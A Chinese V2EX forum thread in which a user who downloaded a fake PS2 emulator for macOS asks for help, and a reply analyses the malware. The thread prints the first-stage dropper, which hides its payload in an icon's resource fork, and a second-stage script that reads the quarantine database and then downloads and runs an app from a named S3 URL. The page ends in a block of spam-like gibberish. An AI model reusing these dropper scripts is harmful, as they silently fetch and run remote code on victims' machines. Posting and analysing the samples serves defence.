遇到了一个 mac 上的木马(疑似),获取到了二进制文件,大家有兴趣看看他做了什么吗? - V2EX
V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
xfangs
V2EX    问与答

遇到了一个 mac 上的木马(疑似),获取到了二进制文件,大家有兴趣看看他做了什么吗?

  •  
  •   xfangs 2020-10-31 05:27:22 +08:00 2523 次点击
    这是一个创建于 1806 天前的主题,其中的信息可能已经有所发展或是发生改变。

    前因

    晚上突然想玩一下 ps2 老游戏,打开百度搜索 ps2 模拟器,然后就搜到了这个网站,看起来很正经,还提供了全平台的软件下载,于是我就下载了。

    https://ps2smart.com/download.html

    案件进行中

    打开 dmg 之后,出现一个图标,我下意识就双击运行了。但是和一般 app 不同,双击之后一闪而现了 terminal,然后什么都没发生,我意识到可能翻车了。

    目前的信息

    我查看了一下伪造成 app 的脚本,内容如下:

    #!/bin/bash TEMP_NAME="$(mktemp -t Installer)" tail -c 8822 "$0/..namedfork/rsrc" | funzip -GsJPc > "${TEMP_NAME}" chmod +x "${TEMP_NAME}" && nohup "${TEMP_NAME}" > /dev/null 2>&1 & killall Terminal exit 

    因为涉及到了 ..namedfork/rsrc,所以我补充一下,这里 $0/..namedfork/rsrc 就是那个脚本文件的图标的地址(应该是 macos 特有的路径),这个图标文件大概 140KB 。

    我理解的意思是脚本中提取了图标后面约 8KB 的二进制进行解压(解压过后 16KB),然后在后台运行了。

    限于个人能力,目前进展停止在了对那个二进制文件反汇编,不知道他究竟在我的电脑中做了什么,所以非常苦恼。因为他是没有获取 root 权限的,所以或许危害不是那么大?

    总结

    有没有感兴趣的大佬研究研究呀,小弟在这里先行感谢了!

    附件

    提取到的二进制文件:可运行的未知二进制文件

    4 条回复    2020-10-31 10:06:42 +08:00
    wwhc
        1
    wwhc  
       2020-10-31 05:51:56 +08:00
    xfangs
        2
    xfangs  
    OP
       2020-10-31 06:06:59 +08:00
    @wwhc 万分感谢,前半段倒是很像,对比后半段他并没有问我要 root 密码。

    这个伪造的网站 2020/10/4 还在更新,说明这类病毒还在持续更新中,或许有了新的突破也说不定,希望他的目的只是发发广告
    mclxly
        3
    mclxly  
       2020-10-31 09:46:14 +08:00
    我也装过一些网络下载的软件,不晓得中招没
    lcdtyph
        4
    lcdtyph  
       2020-10-31 10:06:42 +08:00
    看了一眼,这个 binary 又执行了下面这个 shell 脚本:

    ```bash
    temp_dir() { if [ -n "${TMPDIR}" ]; then echo "${TMPDIR}"; else getconf DARWIN_USER_TEMP_DIR; fi; }
    where_from_url() { /usr/bin/sqlite3 "${HOME}/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2" "SELECT LSQuarantineDataURLString FROM LSQuarantineEvent ORDER BY LSQuarantineTimeStamp DESC LIMIT 1" 2> /dev/null; }
    extract_did() {
    local -r url="$(where_from_url)"
    local query="${url#*\?}"
    local did_find=0
    for param in ${query//[=&]/ }; do
    ((did_find == 1)) && echo "${param}" && break
    [ "${param}" == "utm_source" ] || [ "${param}" == "sidw" ] || [ "${param}" == "neo" ] && did_find=1
    done
    }
    close_terminal() { killall "Terminal"; }
    download() {
    local -r url="${1}"
    local -r tmp_dir="${2}"
    local -r path="${tmp_dir}/$(uuidgen)"
    if curl -f -s -o "${path}" "${url}"; then echo "${path}"; fi
    }
    unarchive() {
    local -r tgz_path="${1}"
    [ -z "${tgz_path}" ] && return
    local -r app_dir=$(/usr/bin/mktemp -d "$(dirname "${tgz_path}")/$(uuidgen)")
    if tar -xzf "${tgz_path}" -C "${app_dir}"; then echo "${app_dir}"; fi
    rm -rf "${tgz_path}"
    }
    app_path() {
    local -r app_dir="${1}"
    [ -z "${app_dir}" ] && return
    local -r app_paths=("${app_dir}"/?*.app)
    local -r app_path="${app_paths[0]}"
    [ -d "${app_path}" ] && echo "${app_path}"
    }
    bin_path() {
    local -r app_path="${1}"
    [ -z "${app_path}" ]&& return
    local -r binary_paths=("${app_path}/Contents/MacOS"/?*)
    local -r binary_path="${binary_paths[0]}"
    echo "${binary_path}"
    }
    exec_bin() {
    local -r bin_path="${1}"
    local -r did="${2}"
    local -r app_path="${3}"
    [ -z "${bin_path}" ] && return
    "${bin_path}" -did "${did}"
    }

    main() {
    local -r url="${1}"
    close_terminal
    local -r did="$(extract_did)"
    [ -z "${did}" ] && return
    local -r tmp_dir="$(/usr/bin/mktemp -d "$(temp_dir)$(uuidgen)")"
    local -r arch_path="$(download "${url}" "${tmp_dir}")"
    local -r app_dir="$(unarchive "${arch_path}")"
    local -r app_path="$(app_path "${app_dir}")"
    local -r bin_path="$(bin_path "${app_path}")"
    exec_bin "${bin_path}" "${did}" "${app_path}"
    rm -rf "${tmp_dir}"
    }

    main "https://ywdd6wfq.s3.amazonaws.com/Installer.app.tgz" &
    ```

    会从 ywdd6wfq.s3.amazonaws.com/Installer.app.tgz 这个网址下载个真正的 binary 然后执行
    关于     帮助文档     自助推广系统     博客     API     FAQ     Solana     3654 人在线   最高记录 6679       Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 23ms UTC 00:17 PVG 08:17 LAX 17:17 JFK 20:17
    Do have faith in what you're doing.
    ubao snddm index pchome yahoo rakuten mypaper meadowduck bidyahoo youbao zxmzxm asda bnvcg cvbfg dfscv mmhjk xxddc yybgb zznbn ccubao uaitu acv GXCV ET GDG YH FG BCVB FJFH CBRE CBC GDG ET54 WRWR RWER WREW WRWER RWER SDG EW SF DSFSF fbbs ubao fhd dfg ewr dg df ewwr ewwr et ruyut utut dfg fgd gdfgt etg dfgt dfgd ert4 gd fgg wr 235 wer3 we vsdf sdf gdf ert xcv sdf rwer hfd dfg cvb rwf afb dfh jgh bmn lgh rty gfds cxv xcv xcs vdas fdf fgd cv sdf tert sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf shasha9178 shasha9178 shasha9178 shasha9178 shasha9178 liflif2 liflif2 liflif2 liflif2 liflif2 liblib3 liblib3 liblib3 liblib3 liblib3 zhazha444 zhazha444 zhazha444 zhazha444 zhazha444 dende5 dende denden denden2 denden21 fenfen9 fenf619 fen619 fenfe9 fe619 sdf sdf sdf sdf sdf zhazh90 zhazh0 zhaa50 zha90 zh590 zho zhoz zhozh zhozho zhozho2 lislis lls95 lili95 lils5 liss9 sdf0ty987 sdft876 sdft9876 sdf09876 sd0t9876 sdf0ty98 sdf0976 sdf0ty986 sdf0ty96 sdf0t76 sdf0876 df0ty98 sf0t876 sd0ty76 sdy76 sdf76 sdf0t76 sdf0ty9 sdf0ty98 sdf0ty987 sdf0ty98 sdf6676 sdf876 sd876 sd876 sdf6 sdf6 sdf9876 sdf0t sdf06 sdf0ty9776 sdf0ty9776 sdf0ty76 sdf8876 sdf0t sd6 sdf06 s688876 sd688 sdf86